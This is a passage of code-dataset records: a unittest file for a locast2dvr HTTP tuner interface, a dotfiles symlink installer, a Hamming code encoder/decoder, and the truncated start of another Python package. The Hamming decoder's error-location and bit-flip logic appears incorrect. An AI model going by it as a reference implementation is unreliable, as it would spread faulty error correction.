'#EXTM3U\\n'\n '#EXTINF:-1 tvg-id=\"channel.1234\" tvg-name=\"CBS (Chicago)\" tvg-logo=\"None\" tvg-chno=\"1.1\" group-title=\"Chicago;Network\", CBS (Chicago)\\n'\n 'http://5.4.3.2:6077/watch/1234.m3u\\n'\n '\\n'\n '#EXTINF:-1 tvg-id=\"channel.4321\" tvg-name=\"NAME2 (Chicago)\" tvg-logo=\"None\" tvg-chno=\"2.1\" group-title=\"Chicago\", NAME2 (Chicago)\\n'\n 'http://5.4.3.2:6077/watch/4321.m3u\\n\\n'\n )\n\n expected = expected.lstrip()\n self.maxDiff = 1000\n self.assertEqual(data, expected)\n\n def test_lineup_json(self):\n data = self.client.get('/lineup.json').data.decode('utf-8')\n expected = [\n {\n \"GuideNumber\": \"1.1\",\n \"GuideName\": \"NAME1\",\n \"URL\": \"http://5.4.3.2:6077/watch/1234\"\n },\n {\n \"GuideNumber\": \"2.1\",\n \"GuideName\": \"2.1 NAME2\",\n \"URL\": \"http://5.4.3.2:6077/watch/4321\"\n }\n ]\n self.assertEqual(json.loads(data), expected)\n\n def test_lineup_xml_valid(self):\n xml = self.client.get('/lineup.xml').data.decode('utf-8')\n try:\n ElementTree.fromstring(xml)\n except:\n self.fail(f\"Invalid XML: {xml}\")\n\n def test_epg(self):\n data = self.client.get('/epg').data.decode('utf-8')\n self.assertEqual(json.loads(data), self.locast_service.get_stations())\n\n\ndef free_var(val):\n def nested():\n return val\n return nested.__closure__[0]\n\n\ndef nested(outer, innerName, **freeVars):\n if isinstance(outer, (types.FunctionType, types.MethodType)):\n outer = outer.__getattribute__('__code__')\n for const in outer.co_consts:\n if isinstance(const, types.CodeType) and const.co_name == innerName:\n return types.FunctionType(const, globals(), None, None, tuple(\n free_var(freeVars[name]) for name in const.co_freevars))\n\n\nclass TestInterfaceWatch(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n \"bind_address\": \"5.4.3.2\",\n \"ffmpeg\": \"ffmpeg_bin\",\n \"bytes_per_read\": 1024,\n \"verbose\": 0,\n \"direct\": False\n })\n self.port = 6077\n self.locast_service = MagicMock()\n self.locast_service.city = \"Chicago\"\n self.app = HTTPInterface(self.config, self.port,\n \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n self.client = self.app.test_client()\n\n def test_watch_m3u(self):\n self.locast_service.get_station_stream_uri.return_value = \"http://actual_url\"\n response: Response = self.client.get('/watch/1234.m3u')\n self.assertIsInstance(response, Response)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response.location, \"http://actual_url\")\n\n @patch('locast2dvr.http.interface._stream_direct')\n def test_watch_direct(self, stream_direct: MagicMock):\n self.config.direct = True\n self.locast_service.get_station_stream_uri.return_value = actual_url = \"http://actual_url\"\n\n response: Response = self.client.get('/watch_direct/1234')\n self.assertIsInstance(response, Response)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content_type,\n 'video/mpeg; codecs=\"avc1.4D401E')\n\n stream_direct.assert_called_once_with(\n self.config, actual_url, ANY)\n\n @patch('locast2dvr.http.interface.RunningSignal')\n @patch('locast2dvr.http.interface._log_output')\n @patch('locast2dvr.http.interface._stream_ffmpeg')\n @patch('locast2dvr.http.interface.threading.Thread')\n @patch('locast2dvr.http.interface.subprocess.Popen')\n def test_watch_ffmpeg(self, Popen: MagicMock, Thread: MagicMock, stream_ffmpeg: MagicMock, _log_output: MagicMock, Signal: MagicMock):\n self.locast_service.get_station_stream_uri.return_value = \"http://actual_url\"\n Popen.return_value = ffmpeg_proc = MagicMock()\n ffmpeg_proc.stderr = stderr = MagicMock()\n Thread.return_value = thread = MagicMock()\n Signal.return_value = signal = MagicMock()\n\n ffmpeg_proc.stdout.read.side_effect = [\"a\", \"b\", \"c\"]\n\n response: Response = self.client.get('/watch/1234')\n\n Popen.assert_called_once_with([\n 'ffmpeg_bin', '-i', 'http://actual_url',\n '-codec', 'copy', '-f', 'mpegts', 'pipe:1',\n ], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n self.assertIsInstance(response, Response)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content_type,\n 'video/mpeg; codecs=\"avc1.4D401E')\n\n Thread.assert_called_once_with(target=_log_output, args=({\n 'bind_address': '5.4.3.2',\n 'ffmpeg': 'ffmpeg_bin', 'bytes_per_read': 1024, 'verbose': 0,\n 'direct': False\n }, stderr, signal))\n thread.setDaemon.assert_called_once_with(True)\n thread.start.assert_called()\n\n stream_ffmpeg.assert_called_once_with(\n self.config, ffmpeg_proc, signal)\n\n\nclass TestInterfaceEPGXML(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n \"device_model\": \"DEVICE_MODEL\",\n \"device_version\": \"1.23.4\",\n \"bind_address\": \"5.4.3.2\",\n \"device_firmware\": \"DEVICE_FIRMWARE\",\n \"tuner_count\": 3\n })\n port = 6077\n self.locast_service = MagicMock()\n self.locast_service.city = \"Chicago\"\n self.locast_service.get_stations = MagicMock()\n self.locast_service.get_stations.return_value = [\n {\n \"name\": \"NAME1\",\n \"callSign\": \"CALLSIGN1\",\n \"city\": \"Chicago\",\n \"timezone\": \"America/Chicago\",\n \"id\": \"1234\",\n \"channel\": \"1.1\",\n \"listings\": [\n {\n \"startTime\": 1610582400000,\n \"duration\": 1800,\n \"title\": \"ProgramTitle\",\n \"description\": \"Program Description\",\n \"releaseDate\": 1161561600000,\n \"genres\": \"News\",\n \"preferredImage\": \"http://programimage\",\n \"preferredImageHeight\": 360,\n \"preferredImageWidth\": 240,\n \"videoProperties\": \"CC, HD 720p, HDTV, Stereo\",\n }\n ]\n },\n {\n \"name\": \"2.1 NAME2\",\n \"city\": \"Chicago\",\n \"timezone\": \"America/Chicago\",\n \"id\": \"4321\",\n \"channel\": \"2.1\",\n \"listings\": [\n {\n \"startTime\": 1610582400000,\n \"duration\": 1800,\n \"title\": \"ProgramTitle\",\n \"description\": \"Program Description\",\n \"releaseDate\": 1161561600000,\n \"genres\": \"horror, action\",\n \"preferredImage\": \"http://programimage\",\n \"preferredImageHeight\": 360,\n \"preferredImageWidth\": 240,\n \"episodeNumber\": 10,\n \"seasonNumber\": 2,\n \"videoProperties\": \"CC, Stereo\"\n }\n ]\n },\n {\n \"name\": \"2.1 NAME2\",\n \"city\": \"Chicago\",\n \"timezone\": \"America/Chicago\",\n \"id\": \"4321\",\n \"channel\": \"2.1\",\n \"listings\": [\n {\n \"startTime\": 1610582400000,\n \"duration\": 1800,\n \"title\": \"ProgramTitle\",\n \"description\": \"Program Description\",\n \"releaseDate\": 1161561600000,\n \"genres\": \"horror, action\",\n \"preferredImage\": \"http://programimage\",\n \"preferredImageHeight\": 360,\n \"preferredImageWidth\": 240,\n \"videoProperties\": \"CC, Stereo\",\n \"airdate\": 1610582400\n }\n ]\n }\n ]\n self.host_and_port = f'{self.config.bind_address}:{port}'\n app = HTTPInterface(\n self.config, port, \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n app.config['DEBUG'] = True\n app.config['TESTING'] = True\n self.client = app.test_client()\n\n def test_epg_xml_valid(self):\n xml = self.client.get('/epg.xml').data.decode('utf-8')\n try:\n ElementTree.fromstring(xml)\n except:\n self.fail(f\"Invalid XML: {xml}\")\n\n\nclass TestInterfaceLineupStatus(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n \"bind_address\": \"5.4.3.2\",\n })\n self.port = 6077\n self.locast_service = MagicMock()\n\n def test_lineup_status(self):\n app = HTTPInterface(self.config, self.port,\n \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n self.client = app.test_client()\n\n json_data = self.client.get('/lineup_status.json').data.decode('utf-8')\n data = json.loads(json_data)\n\n expected = {\n \"ScanInProgress\": False,\n \"ScanPossible\": True,\n \"Source\": \"Antenna\",\n \"SourceList\": [\"Antenna\"]\n }\n self.assertEqual(data, expected)\n\n def test_lineup_status_scanning(self):\n app = HTTPInterface(self.config, self.port,\n \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service, True)\n self.client = app.test_client()\n\n json_data = self.client.get('/lineup_status.json').data.decode('utf-8')\n data = json.loads(json_data)\n\n expected = {\n \"ScanInProgress\": True,\n \"Progress\": 50,\n \"Found\": 5\n }\n self.assertEqual(data, expected)\n\n def test_lineup_post(self):\n app = HTTPInterface(self.config, self.port,\n \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n self.client = app.test_client()\n\n response = self.client.get('/lineup.post?scan=start')\n self.assertEqual(response.status_code, 204)\n\n response = self.client.get('/lineup.post?scan=foo')\n self.assertEqual(response.status_code, 400)\n\n\nclass TestConfig(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n \"bind_address\": \"5.4.3.2\",\n \"password\": \"foo\"\n })\n self.port = 6077\n self.locast_service = MagicMock()\n\n def test_lineup_status(self):\n app = HTTPInterface(self.config, self.port,\n \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n self.client = app.test_client()\n json_data = self.client.get('/config').data.decode('utf-8')\n data = json.loads(json_data)\n\n expected = {\n \"bind_address\": \"5.4.3.2\",\n \"password\": \"*********\"\n }\n self.assertEqual(data, expected)\n\n\nclass TestSignal(unittest.TestCase):\n def test_init(self):\n s1 = RunningSignal(True)\n s2 = RunningSignal(False)\n self.assertEqual(s1.running(), True)\n self.assertEqual(s2.running(), False)\n s1.stop()\n self.assertEqual(s1.running(), False)\n\n\nclass TestLogOutput(unittest.TestCase):\n def test_no_verbose(self):\n config = Configuration({\n 'verbose': 0\n })\n stderr = MagicMock()\n signal = MagicMock()\n signal.running = PropertyMock()\n\n _log_output(config, stderr, signal)\n\n stderr.readline.assert_not_called()\n signal.running.assert_not_called()\n\n @patch('locast2dvr.http.interface.logging.getLogger')\n @patch('locast2dvr.http.interface._readline')\n def test_verbose(self, _readline: MagicMock, getLogger: MagicMock):\n config = Configuration({\n 'verbose': 1\n })\n stderr = MagicMock()\n signal = MagicMock()\n signal.running = MagicMock()\n signal.running.side_effect = [True, True, False]\n _readline.side_effect = ['foo', '']\n getLogger.return_value = logger = MagicMock()\n\n _log_output(config, stderr, signal)\n\n getLogger.assert_called_once_with(\"ffmpeg\")\n logger.info.assert_called_once_with(\"foo\")\n _readline.assert_called_with(stderr)\n signal.running.assert_called()\n\n def raise_exception():\n raise Exception\n\n @patch('locast2dvr.http.interface.logging.getLogger')\n @patch('locast2dvr.http.interface._readline')\n def test_verbose_exception(self, _readline: MagicMock, getLogger: MagicMock):\n config = Configuration({\n 'verbose': 1\n })\n stderr = MagicMock()\n signal = MagicMock()\n signal.running = MagicMock()\n signal.running.side_effect = [True, False]\n _readline.side_effect = self.raise_exception\n getLogger.return_value = logger = MagicMock()\n\n _log_output(config, stderr, signal)\n\n getLogger.assert_called_once_with(\"ffmpeg\")\n logger.info.assert_not_called()\n _readline.assert_called_with(stderr)\n signal.running.assert_called()\n\n def test_readline(self):\n stderr = MagicMock()\n stderr.readline.return_value = b'\\xf0\\x9f\\x98\\x8a foo bar '\n res = _readline(stderr)\n self.assertEqual(res, \"😊 foo bar\")\n\n\nclass TestStreamFFMpeg(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n 'bytes_per_read': 1024\n })\n\n def test_stream(self):\n ffmpeg_proc = MagicMock()\n ffmpeg_proc.stdout.read = read_mock = MagicMock()\n signal = RunningSignal(True)\n read_mock.side_effect = ['foo', 'bar', 'baz']\n\n s = _stream_ffmpeg(self.config, ffmpeg_proc, signal)\n\n ret = next(s)\n read_mock.assert_called_with(1024)\n self.assertEqual(ret, 'foo')\n ret = next(s)\n self.assertEqual(ret, 'bar')\n ret = next(s)\n self.assertEqual(ret, 'baz')\n self.assertTrue(signal.running())\n ffmpeg_proc.terminate.assert_not_called()\n ffmpeg_proc.communicate.assert_not_called()\n\n def raise_exception():\n raise Exception\n\n def test_stream_exception(self):\n ffmpeg_proc = MagicMock()\n ffmpeg_proc.stdout.read = read_mock = MagicMock()\n signal = RunningSignal(True)\n read_mock.side_effect = self.raise_exception\n\n s = _stream_ffmpeg(self.config, ffmpeg_proc, signal)\n\n try:\n next(s)\n except StopIteration:\n pass\n\n read_mock.assert_called_with(1024)\n\n ffmpeg_proc.terminate.assert_called()\n ffmpeg_proc.communicate.assert_called()\n\n\nclass TestStartHttp(unittest.TestCase):\n def setUp(self) -> None:\n\n self.config = Configuration({\n 'verbose': 0,\n 'logfile': None,\n 'bind_address': '1.2.3.4',\n 'ssdp': True,\n 'http_threads': 5\n })\n\n @patch('locast2dvr.http.interface.LocastService')\n @patch(\"locast2dvr.http.interface.threading\")\n @patch(\"locast2dvr.http.interface.waitress.serve\")\n @patch(\"locast2dvr.http.interface.HTTPInterface\")\n def test_start_http(self, http_interface: MagicMock, waitress: MagicMock,\n threading: MagicMock, service: MagicMock):\n from locast2dvr.tuner import start_http\n uid = \"Tuner_0\"\n port = 6666\n ssdp = MagicMock()\n log = MagicMock()\n http_interface_impl = MagicMock()\n http_interface.return_value = http_interface_impl\n\n thread = MagicMock()\n threading.Thread.return_value = thread\n start_http(self.config, port, uid, service, ssdp, log)\n\n http_interface.assert_called_once_with(self.config, port, uid, service)\n\n threading.Thread.assert_called_once_with(\n target=waitress, args=(http_interface_impl,), kwargs={\n 'host': '1.2.3.4',\n 'port': 6666,\n '_quiet': True,\n 'threads': 5\n })\n thread.start.assert_called_once()\n ssdp.register.assert_called_once_with(\n 'local', 'uuid:Tuner_0::upnp:rootdevice', 'upnp:rootdevice', 'http://1.2.3.4:6666/device.xml')\n\n @patch('locast2dvr.http.interface.TransLogger')\n @patch('locast2dvr.http.interface.LocastService')\n @patch(\"locast2dvr.http.interface.threading\")\n @patch(\"locast2dvr.http.interface.waitress.serve\")\n @patch(\"locast2dvr.http.interface.HTTPInterface\")\n def test_start_verbose(self, http_interface: MagicMock, waitress: MagicMock,\n threading: MagicMock, service: MagicMock, translogger: MagicMock):\n\n from locast2dvr.tuner import start_http\n\n self.config.verbose = 1\n uid = \"Tuner_0\"\n port = 6666\n ssdp = MagicMock()\n log = MagicMock()\n http_interface_impl = MagicMock()\n http_interface.return_value = http_interface_impl\n translogger_app = MagicMock()\n translogger.return_value = translogger_app\n thread = MagicMock()\n threading.Thread.return_value = thread\n\n with patch(\"locast2dvr.tuner.logging.getLogger\") as logger:\n start_http(self.config, port, uid, service, ssdp, log)\n\n translogger.assert_called_once_with(http_interface_impl,\n logger=logger(),\n format='1.2.3.4:6666 %(REMOTE_ADDR)s - %(REMOTE_USER)s \"%(REQUEST_METHOD)s %(REQUEST_URI)s %(HTTP_VERSION)s\" %(status)s %(bytes)s \"%(HTTP_REFERER)s\" \"%(HTTP_USER_AGENT)s\"')\n\n threading.Thread.assert_called_once_with(\n target=waitress, args=(translogger_app,), kwargs={\n 'host': '1.2.3.4',\n 'port': 6666,\n '_quiet': True,\n 'threads': 5\n })\n\n @patch('locast2dvr.http.interface.LocastService')\n @patch(\"locast2dvr.http.interface.threading\")\n @patch(\"locast2dvr.http.interface.waitress.serve\")\n @patch(\"locast2dvr.http.interface.HTTPInterface\")\n def test_start_http_nossdp(self, http_interface: MagicMock, waitress: MagicMock,\n threading: MagicMock, service: MagicMock):\n from locast2dvr.tuner import start_http\n uid = \"Tuner_0\"\n port = 6666\n ssdp = MagicMock()\n log = MagicMock()\n http_interface_impl = MagicMock()\n http_interface.return_value = http_interface_impl\n self.config.ssdp = False\n\n thread = MagicMock()\n threading.Thread.return_value = thread\n start_http(self.config, port, uid, service, ssdp, log)\n\n http_interface.assert_called_once_with(self.config, port, uid, service)\n\n threading.Thread.assert_called_once_with(\n target=waitress, args=(http_interface_impl,), kwargs={\n 'host': '1.2.3.4',\n 'port': 6666,\n '_quiet': True,\n 'threads': 5\n })\n thread.start.assert_called_once()\n ssdp.register.assert_not_called()\n\n # Slight magic happening here. Since _excepthook is an inner function.\n # We take the inner function, but and call it, but this changes the scope where it's called and\n # therefore we need to patch os._exit and traceback in the current scope.\n\n @patch('tests.locast2dvr.http.test_interface.os._exit')\n @patch('tests.locast2dvr.http.test_interface.traceback')\n def test_except_hook(self, tb: MagicMock(), exit: MagicMock()):\n from locast2dvr.tuner import start_http\n\n log = MagicMock()\n except_hook = nested(start_http, '_excepthook', log=log)\n args = MagicMock(exc_type=OSError, exc_value=\"foo\",\n exc_traceback=\"bar\")\n\n except_hook(args)\n self.assertEqual(log.error.call_count, 2)\n log.error.assert_called()\n tb.print_tb.assert_called()\n exit.assert_called_once_with(-1)\n\n @patch('tests.locast2dvr.http.test_interface.os._exit')\n @patch('tests.locast2dvr.http.test_interface.traceback')\n def test_except_hook_unhandled(self, tb: MagicMock(), exit: MagicMock()):\n from locast2dvr.tuner import start_http\n\n log = MagicMock()\n except_hook = nested(start_http, '_excepthook', log=log)\n args = MagicMock(exc_type=Exception, exc_value=\"foo\",\n exc_traceback=\"bar\")\n\n except_hook(args)\n log.error.called_once_with('Unhandled error: ', args)\n exit.assert_not_called()\n","sub_path":"tests/locast2dvr/http/test_interface.py","file_name":"test_interface.py","file_ext":"py","file_size_in_byte":25519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"292651084","text":"#!/usr/bin/env python\n\n# This script creates symlinks from the home directory to these configuration files\n# If a file should be in a different location edit the 'special' dictionary\n# By default a '.' is prepended and the file is put in the home directory\n# If a file should be ignored edit the 'ignore' list\nimport os\nimport sys\n\nspecial = { \\\n 'init.nvim': '~/.config/nvim/init.vim',\n 'config.fish': '~/.config/fish/config.fish',\n 'fish_prompt.fish': '~/.config/fish/functions/fish_prompt.fish',\n 'git-switch': '~/bin/git-switch',\n 'git-sprout': '~/bin/git-sprout',\n 'git-state': '~/bin/git-state'\n}\nignore = ['.git', 'init.py', 'colors.itermcolors']\n\n#Ensure compatibility between Python 2 and 3\ntry:\n input = raw_input\nexcept NameError:\n pass\n\n# Compatibility shim for windows\nif os.name == 'nt':\n import shutil\n os.symlink = shutil.copy\n\ndef find_dest(src):\n dest = special[src] if src in special.keys() else '~/.' + src\n return os.path.expanduser(dest)\n\nif len(sys.argv) > 1:\n sources = sys.argv[1:]\nelse:\n sources = [src for src in os.listdir('.') if not src in ignore]\ndestinations = [find_dest(src) for src in sources]\nabsolute = [(os.path.abspath(src), os.path.abspath(dest)) for (src, dest) in zip(sources, destinations)]\n\nfor (src, dest) in absolute:\n if os.path.exists(dest):\n if input(\"Overwrite {} with a link to {}? (Y/N) \".format(dest, src)) == 'Y':\n os.remove(dest)\n else:\n continue\n os.symlink(src, dest)\n","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"222448870","text":"\"\"\"\n\tAuthor: Xavid Ramirez\n\tEmail: xavid.ramirez01@utrgv.edu\n\tDate: November 2, 2016\n\tDesc: Hamming word encoding and decoding program. The python program\n\t\t Will take either a set of bits to encode or decode. Encode will\n\t\t encode the bits into Hamming Encoding. Decoding will check the \n\t\t given bits, check the parities, fix parities if needed, return\n\t\t the correct word, and return the unencoded bit word. \n\tDependencies: Python 3\n\tLicense: MIT\n\"\"\"\nclass Hamming:\n\n\tdef __init__(self):\n\t\tself.query()\n\n\tdef query(self):\n\t\t\"\"\" Prompt user if they would like to encode or decode, then begin process for that subclass \"\"\"\n\t\tcommand = input(\"Would you like to Encode or Decode? \")\n\n\t\tif \"encode\" in command.lower():\n\t\t\tbits = input(\"Please enter the bit word to be encoded in hamming code: \")\n\t\t\tdata = Encode(bits)\n\t\t\tdata.start()\n\t\telif \"decode\" in command.lower():\n\t\t\tbits = input(\"\\nPlease enter the bit word to be decoded in hamming code: \")\n\t\t\tprint(\"\\n\")\n\t\t\tdata = Decode(bits)\n\t\t\tdata.analyze()\n\t\telse:\n\t\t\t#If user enters invalid command, run to here and close program.\n\t\t\tprint(\"You entered an invalid command!\")\n\nclass Encode:\n\n\tdef __init__(self,bits=None):\n\t\tself.bits = list(bits) if bits != None else bits\n\t\tself.blank = True if bits == None else False\n\t\tself.MaxParity = self.encode_FindLargestParity()\n\t\tself.ErrorLog = []\n\n\tdef encode(self,P):\n\t\t\"\"\" Function to encode the given Parity for given bits \"\"\"\n\t\tpData = []\n\t\tif P == 1:\n\t\t\t#If parity bit is 1, then use slicing on the list to get the parity bits (every other bit, remove first bit)\n\t\t\tpData.extend(self.bits[::P+1])\n\t\t\tpData.pop(0)\n\t\t\tself.encode_setParityBit(pData,P)\n\t\telif P in [2,4,8,16,32,64,128,256]:\n\t\t\t#For given Parity bit in range, and for range in j to p, pull out the bits for that parity\n\t\t\t# EX: Parity 2 => take two, ignore two, take two, ignore 2 etc...\n\t\t\t# EX: Parity 4 => take four, ignore four, take four, ignore 4 etc..\n\t\t\tfor i in range( (P-1), len(self.bits), (P*2) ):\n\t\t\t\tfor j in range(0,P):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tpData.append(self.bits[i+j])\n\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t#Exception for index out of range to ErrorLog list of errors, just for logging purposes\n\t\t\t\t\t\t#List is known to hit out of range for large parity bits\n\t\t\t\t\t\tself.ErrorLog.append(\"During parity bit\" + str(P) +\" check. Index out of range at \" + str(i+j))\n\t\t\t#Pop the first bit, as it is the parity, we need to find this parity, not encode it and it is set to NONE here\n\t\t\tpData.pop(0)\n\t\t\t#Run the encoding function for given Parity bit P\n\t\t\tself.encode_setParityBit(pData,P)\n\n\tdef start(self):\n\t\t\"\"\" Prepair the list for encoding \"\"\"\n\t\t\"\"\"\n\t\t\t1. For every location for a possible Parity,\n\t\t\tinsert None into that specific location, shifting\n\t\t\tthe next bit to the following location\n\t\t\t2. Now for every parity up to the Maximum Parity for\n\t\t\tthe given bits, encode the Parity bit (find the parity for sequence)\n\t\t\t3. Print out the encoded output\n\t\t\"\"\"\n\t\tprepped = []\n\t\tprepped.extend(self.bits)\n\t\tfor i in [1,2,4,8,16,32,64,128,256]:\n\t\t\tif i < self.MaxParity:\n\t\t\t\tprepped.insert(i-1,None)\n\t\t\telif i == self.MaxParity:\n\t\t\t\tprepped.insert(i-1,None)\n\t\t\t\tbreak\n\t\tself.bits = prepped\n\t\tfor i in [1,2,4,8,16,32,64,128,256]:\n\t\t\tif i == self.MaxParity:\n\t\t\t\tself.encode(i)\n\t\t\t\tbreak\n\t\t\telif i == 1:\n\t\t\t\tself.encode(1)\n\t\t\telse:\n\t\t\t\tself.encode(i)\n\t\tprint(\"Encoding Complete...\\n\")\n\t\toutput = ''.join(self.bits)\n\t\tprint(\"Output => \" + output)\n\n\tdef encode_setParityBit(self,pData,P):\n\t\t\"\"\" Encode the parity bit \"\"\"\n\n\t\t#If number of 1's in parity bit sequence are even seto P to 0\n\t\t#otherwise set P to 1\n\t\tif pData.count('1') % 2 == 0:\n\t\t\tself.bits[P-1] = '0'\n\t\telif pData.count('1') % 2 != 0:\n\t\t\tself.bits[P-1] = '1'\n\n\tdef encode_FindLargestParity(self):\n\t\t\"\"\"For given range of bits, find the largest Possible Parity for given\n\t\t number of bits \"\"\"\n\t\tfor i in [256,128,64,32,16,8,4,2,1]:\n\t\t\tif i <= len(self.bits):\n\t\t\t\treturn i\n\nclass Decode:\n\n\tdef __init__(self, bits=None):\n\t\tself.bits = list(bits) if bits != None else bits\n\t\tself.blank = True if bits == None else False\n\t\tself.error = False\n\t\tself.errorBit = 0\n\t\tself.MaxParity = self.decode_FindLargestParity()\n\t\tself.ErrorLog = []\n\t\tself.parityBits = []\n\n\tdef decode_FindLargestParity(self):\n\t\t\"\"\" Find the largest possible parity for given bits \"\"\"\n\t\tmaxP = 0\n\t\tfor i in [1,2,4,8,16,32,64,128,256]:\n\t\t\tif len(self.bits) - i >= 0:\n\t\t\t\tmaxP = i\n\t\treturn maxP\n\n\tdef analyze(self):\n\t\t\"\"\" Decode the list for each parity up to the max parity possible for given bit sequence \"\"\"\n\t\tfor i in [1,2,4,8,16,32,64,128,256]:\n\t\t\tif i == self.MaxParity:\n\t\t\t\tself.decode(i)\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tself.decode(i)\n\n\t\t\"\"\"If there is an error, self.erroBit should contain the error bit, go and fix it, then re-analyze\n\t\t\tOther wise, the test is complete, go give out the decoded bits\n\t\t\"\"\"\n\t\tif self.error == True:\n\t\t\tself.error = False\n\t\t\tprint(\"\\nError found in bit \" + str(self.errorBit) + \"... Fixing Error...\\n\")\n\t\t\tself.FixError()\n\t\t\tprint(\"Rerunning parity analysis....\")\n\t\t\tself.analyze()\n\t\telse:\n\t\t\tprint(\"\\nTest Complete!\")\n\t\t\tprint(\"\\nCorrected encoded bits => \" + ''.join(self.bits))\n\n\t\t\t#Go print out decoded word\n\t\t\tself.outputDecodedWord()\n\n\tdef outputDecodedWord(self):\n\t\t\"\"\" Print out decoded bit sequence \"\"\"\n\t\toutput = self.bits\n\t\tfor i in [256,128,64,32,16,8,4,2,1]:\n\t\t\tif i <= self.MaxParity:\n\t\t\t\toutput.pop(i-1)\n\t\toutput = ''.join(output)\n\t\tprint(\"Decoded bits => \" + output)\n\n\tdef decode(self,P):\n\t\t\"\"\"Decode\"\"\"\n\t\tpData = []\n\t\tpVal = 0\n\t\tif P == 1:\n\t\t\t#If parity bit is 1, then use slicing on the list to get the parity bits (every other bit, remove first bit)\n\t\t\tpData.extend(self.bits[::P+1])\n\t\t\tpVal = pData[0]\n\t\t\tpData.pop(0)\n\t\t\tself.parityAnalysis(pData,P,pVal)\n\t\telif P in [2,4,8,16,32,64,128,256]:\n\t\t\t#For given Parity bit in range, and for range in j to p, pull out the bits for that parity\n\t\t\t# EX: Parity 2 => take two, ignore two, take two, ignore 2 etc...\n\t\t\t# EX: Parity 4 => take four, ignore four, take four, ignore 4 etc..\n\t\t\tfor i in range( (P-1), len(self.bits), (P*2) ):\n\t\t\t\tfor j in range(0, P):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tpData.append(self.bits[i+j])\n\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\tself.ErrorLog.append(\"During parity bit\" + str(P) +\" check. Index out of range at \" + str(i+j))\n\t\t\tpVal = pData[0]\n\t\t\t#Pop the first bit, this is the bit that will be analyzed and corected if needed.\n\t\t\tpData.pop(0)\n\t\t\tself.parityAnalysis(pData,P,pVal)\n\n\tdef parityAnalysis(self, pData, P, pVal):\n\t\t\"\"\" This function alayzes the sequence for a Given parity, the value of the parity and marks erro if Parity is incorrect \"\"\"\n\t\tprint(\"Data for Parity Bit \" + str(P) + \" = { \" + str(pData) + \" }\")\n\t\tprint(\"P\" + str(P) + \" currently = \" + str(pVal))\n\n\t\t\"\"\"\n\t\t\tIf number of 1's are odd and Parity is 1 then there is no error\n\t\t\tIf number of 1's are even and Parity is 0 then there is no error\n\t\t\tOtherwise it is Incorrect, mark error flag\n\t\t\tCalculate the errorBit\n\t\t\"\"\"\n\t\tif pData.count('1') % 2 == 0 and pVal == '0':\n\t\t\tprint(\"Parity Bit \" + str(P) + \" is Correct...\\n\")\n\t\telif pData.count('1') % 2 != 0 and pVal == '1':\n\t\t\tprint(\"Parity Bit \" + str(P) + \" is Correct...\\n\")\n\t\telse:\n\t\t\tprint(\"Parity Bit \" + str(P) + \" is Incorrect!\\n\")\n\t\t\tself.errorBit += (int(pVal) * int(P))\n\t\t\tself.error = True\n\n\tdef FixError(self):\n\t\t\"\"\" Flip the value of the Error bit \"\"\"\n\t\tif self.bits[self.errorBit] == '1':\n\t\t\tself.bits[self.errorBit] = '0'\n\t\telse:\n\t\t\tself.bits[self.errorBit] = '1'\n\ndef main():\n\thamming = Hamming()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"hamming.py","file_name":"hamming.py","file_ext":"py","file_size_in_byte":7463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"100159803","text":"import logging; logging.getLogger(__name__).addHandler(logging.NullHandler()) # NOQA\nimport sys\nimport tempfile\n\nfrom pathlib import Path\nfrom uuid import uuid4\n\nfrom . import osinfo\n\nif not osinfo.python_compatible():\n print('Python 3.9.5 is required.')\n sys.exit(1)\n\n_dupe_argv = {_arg: 0 for _arg in sys.argv if _arg.startswith('-') or _arg.startswith('--')}\n\nif len(sys.argv) > 1:\n for arg in sys.argv:\n if arg.startswith('-') or arg.startswith('--'):\n _dupe_argv[arg] += 1\n\nif any([_dupe_argv[arg] > 1 for arg, _ in _dupe_argv.items()]):\n print('Duplicate arguments detected.')\n sys.exit(1)\n\nfrom . import messages # NOQA\nfrom . import configuration # NOQA\n\nsilent = any([_arg in ['--silent', '-s'] for _arg in sys.argv])\nlog_level = 'DEBUG' if any([_arg.lower() == 'debug' for _arg in sys.argv]) else 'INFO'\n\nmessages.logging_conf(log_name=__name__, silent=silent, level=log_level)\nCONF = configuration.load()\nLOG = logging.getLogger(__name__)\n\nBUNDLE_ID = CONF['MODULE']['bundle_id']\nNAME = CONF['MODULE']['name']\nLICENSE = CONF['MODULE']['license']\nVERSION = CONF['MODULE']['version']\nBUILD = CONF['MODULE']['build_date']\nVERSION_STRING = '{name} {version} ({build}) {eula}'.format(name=NAME, version=VERSION, build=BUILD, eula=LICENSE)\nUSER_AGENT = '{name}/{version}'.format(name=NAME, version=VERSION)\nHTTP_OK = CONF['CURL']['http_ok_status']\nPACKAGE_CHOICES = CONF['AUDIOCONTENT']['supported']\nBASE_URL = CONF['AUDIOCONTENT']['base_url']\nFEED_URL = CONF['AUDIOCONTENT']['feed_url']\nHTTP_MIRROR_TEST_PATHS = CONF['AUDIOCONTENT']['mirror_test_paths']\nAPPLICATION_FOLDER = 